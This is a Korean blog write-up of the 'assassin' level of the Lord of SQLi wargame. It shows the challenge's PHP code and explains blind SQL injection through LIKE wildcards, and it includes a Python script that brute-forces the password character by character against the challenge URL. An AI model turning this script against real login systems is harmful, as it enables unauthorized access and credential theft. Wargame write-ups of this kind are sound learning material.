[LOS] 15. Assassin

고둑·2021년 7월 16일
0

LoS

목록 보기
15/21
post-thumbnail

힌트

  • like=의 기능 말고도 다른 기능이 있다.
  • like랑 같이 쓰는 %에 주목

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

이 문제는 like의 또 다른 사용법에 관하여 알고 있어야지 풀 수 있는 문제이다.
like 함수에 관하여 잘 모르면 이 사이트에서 읽어보는 것을 추천한다.

문제 풀이

Blind SQL injection

일단 '가 필터링 되었기 때문에 pw를 닫을 수가 없기 때문에 블라인드 인젝션으로 비밀번호를 알아내야한다.

위 사이트를 참조하면 like ___' 이런 식으로 비밀번호의 길이를 알아낼 수 있다고 한다.
하지만 직접 공격을 수행하면 8자리일 때 Hello guest가 뜨고 admin은 반응이 오지 않는 것을 알 수 있다. 따라서 우리는 adminguest의 비밀번호가 모두 8자리이고 guestadmin보다 상단에 위치하고 있다는 것을 유추해볼 수 있다.

비밀번호의 길이를 알아냈으므로 이를 이용하여 인젝션을 시도하겠다.
like를 이용하면 %가 이용 가능한데 *와 비슷한 기능을 한다고 보면 된다.
따라서 앞에서 한 자리씩 맞춰나가면 비밀번호를 알아낼 수 있다.

이를 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.

# -*- coding: utf-8 -*-
import urllib.request

answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID=" + "5u84grpvs4dd5tsgg6st4q4kse"

url_start = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php" + '?'

word = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
        'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

for i in range(1, 9):
    try:
        for j in range(len(word)):
            url = url_start + 'pw='+answer+str(word[j])+'%'

            print(url)

            req = urllib.request.Request(url)  # 엔터 치기전 상태
            req.add_header('User-agent', user_agent)  # 헤더값 설정(los가 뱉어냄)
            req.add_header("Cookie", session_id)

            res = urllib.request.urlopen(req)  # 엔터누른 효과
            data = res.read().decode('utf-8')  # 본문만 가져오기

            #print(data)

            if data.find('<h2>Hello admin</h2>') != -1:
                print(word[j])
                answer += str(word[j])
                break
            if data.find('<h2>Hello guest</h2>') != -1:
                print(word[j])
                answer += str(word[j])
                break

    except Exception as e:
        continue

print(answer)

스크립트를 실행해보면 비밀번호는 902efd10이 나온다.

https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efd10

profile
문워킹은 하지말자

0개의 댓글